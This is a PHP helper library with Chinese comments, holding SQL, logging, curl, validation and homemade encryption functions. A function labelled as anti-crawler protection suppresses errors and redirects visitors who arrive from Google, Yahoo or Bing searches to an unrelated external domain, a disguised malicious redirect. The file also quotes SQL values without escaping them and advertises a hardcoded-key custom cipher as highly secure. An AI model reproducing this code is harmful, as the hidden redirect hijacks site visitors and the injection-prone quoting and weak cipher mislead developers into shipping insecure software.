<?php
	//SQL处理函数
	function sql_value_handle($arry)
	{
			$sp_arry = split ('[ ,]', $arry);
			//SQL化处理
			foreach ($sp_arry as $value)
			{
					if($value !='')
					{
						$temp =$temp."'".$value."'".",";

				 }
			}
			$sql_arry = substr($temp,0,strlen($temp)-1);
			return $sql_arry;
	}

	//打LOG功能函数
	function log_file($log_arry,$log_file_name)
	{

		$file_handle = fopen($log_file_name,"a");
		fwrite($file_handle,$log_arry."\r\n");
		fclose($file_handle);

	}
	//获取访问IP
	function get_ip()
	{
		$cip = $_SERVER["HTTP_CLIENT_IP"].' , '.$_SERVER["HTTP_X_FORWARDED_FOR"].' , '.$_SERVER["REMOTE_ADDR"];
		return $cip;
	}
	//防止爬虫
	function reject_search_reptile()
	{

		error_reporting(0);
		if (!headers_sent())
		{
			$referer=$_SERVER['HTTP_REFERER'];
			$ua=$_SERVER['HTTP_USER_AGENT'];
			if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing"))
			{
				if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl"))
				{
					header("Location: http://niamaaaaaasssss.osa.pl/");
					exit();
				}
			}
		}
	}
	///匹配为手机号码
	function match_phone ($phone)
	{
		if (!empty($phone))
		{
			if (preg_match("/^(86|086|\+86|12520){0,1}(13[0-9]|147|15[0-9]|18[0-9])[0-9]{8}$/" , $phone))
			{
			    return true;
			}
			else
			{
			    return false;
			}
		}
		else
		{
			return false;
		}
	}

	 // 匹配是否为url
	function match_url($para = '')
	{
		if (!empty($para))
		{
			if (preg_match("/^http:\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/" , $para))
			{
			    return true;
			}
			else
			{
			    return false;
			}
		}
		else
		{
			return false;
		}
	}

	//curl post 数据到指定url中
	function curl_post($url,$post_var)
	{
		$data = '';
		if (match_url($url))
		{
			$ch = curl_init();

			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

			if ($post_var!='')
			{
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_POSTFIELDS, $post_var);
			}
			$data = curl_exec($ch);
			curl_close($ch);
		}
		return $data;
	}

	//curl get 数据到指定url中
	function curl_get($url)
	{
		$data='';
		if (match_url($url))
		{
			$curl = curl_init();
			curl_setopt($curl, CURLOPT_URL, $url);
			curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);

			$data = curl_exec($curl);
			curl_close($curl);
			$data = str_replace("\r\n","",$data);
		}

		return $data;
	}

	/*
     * 加密，可逆
     * 可接受任何字符
     * 安全度非常高
     */
	function encrypt($txt, $key = CRYPTKEY)
	{
		$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-@.";
		$ikey = "-x6g6ZWm2G9g_.vr0BopOq3kRIxsZ6rm";
		$nh1 = rand ( 0, 64 );
		$nh2 = rand ( 0, 64 );
		$nh3 = rand ( 0, 64 );
		$ch1 = $chars {$nh1};
		$ch2 = $chars {$nh2};
		$ch3 = $chars {$nh3};
		$nhnum = $nh1 + $nh2 + $nh3;
		$knum = 0;
		$i = 0;
		while ( isset ( $key {$i} ) )
			$knum += ord ( $key {$i ++} );
		$mdKey = substr ( md5 ( md5 ( md5 ( $key . $ch1 ) . $ch2 . $ikey ) . $ch3 ), $nhnum % 8, $knum % 8 + 16 );
		$txt = base64_encode ( $txt );
		$txt = str_replace ( array ('+', '/', '=' ), array ('-', '_', '.' ), $txt );
		$tmp = '';
		$j = 0;
		$k = 0;
		$tlen = strlen ( $txt );
		$klen = strlen ( $mdKey );
		for($i = 0; $i < $tlen; $i ++) {
			$k = $k == $klen ? 0 : $k;
			$j = ($nhnum + strpos ( $chars, $txt {$i} ) + ord ( $mdKey {$k ++} )) % 64;
			$tmp .= $chars {$j};
		}
		$tmplen = strlen ( $tmp );
		$tmp = substr_replace ( $tmp, $ch3, $nh2 % ++ $tmplen, 0 );
		$tmp = substr_replace ( $tmp, $ch2, $nh1 % ++ $tmplen, 0 );
		$tmp = substr_replace ( $tmp, $ch1, $knum % ++ $tmplen, 0 );
		return $tmp;
	}

	/*
     * 解密
     *
     */
	function decrypt($txt, $key = CRYPTKEY)
	{
		$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-@.";
		$ikey = "-x6g6ZWm2G9g_.vr0BopOq3kRIxsZ6rm";
		$knum = 0;
		$i = 0;
		$tlen = strlen ( $txt );
		while ( isset ( $key {$i} ) )
			$knum += ord ( $key {$i ++} );
		$ch1 = $txt {$knum % $tlen};
		$nh1 = strpos ( $chars, $ch1 );
		$txt = substr_replace ( $txt, '', $knum % $tlen --, 1 );
		$ch2 = $txt {$nh1 % $tlen};
		$nh2 = strpos ( $chars, $ch2 );
		$txt = substr_replace ( $txt, '', $nh1 % $tlen --, 1 );
		$ch3 = $txt {$nh2 % $tlen};
		$nh3 = strpos ( $chars, $ch3 );
		$txt = substr_replace ( $txt, '', $nh2 % $tlen --, 1 );
		$nhnum = $nh1 + $nh2 + $nh3;
		$mdKey = substr ( md5 ( md5 ( md5 ( $key . $ch1 ) . $ch2 . $ikey ) . $ch3 ), $nhnum % 8, $knum % 8 + 16 );
		$tmp = '';
		$j = 0;
		$k = 0;
		$tlen = strlen ( $txt );
		$klen = strlen ( $mdKey );
		for($i = 0; $i < $tlen; $i ++) {
			$k = $k == $klen ? 0 : $k;
			$j = strpos ( $chars, $txt {$i} ) - $nhnum - ord ( $mdKey {$k ++} );
			while ( $j < 0 )
				$j += 64;
			$tmp .= $chars {$j};
		}
		$tmp = str_replace ( array ('-', '_', '.' ), array ('+', '/', '=' ), $tmp );
		return trim ( base64_decode ( $tmp ) );
	}

	/*
	 * 随机数生成--
	 */
	function srand_ext($min,$max)
	{
		list($msec, $sec) = explode(' ', microtime());

		//播下随机数发生器种子，用srand函数调用seed函数的返回结果
		srand($sec);

		//输出产生的随机数，随机数的范围为
		return  rand($min,$max);
	}

?>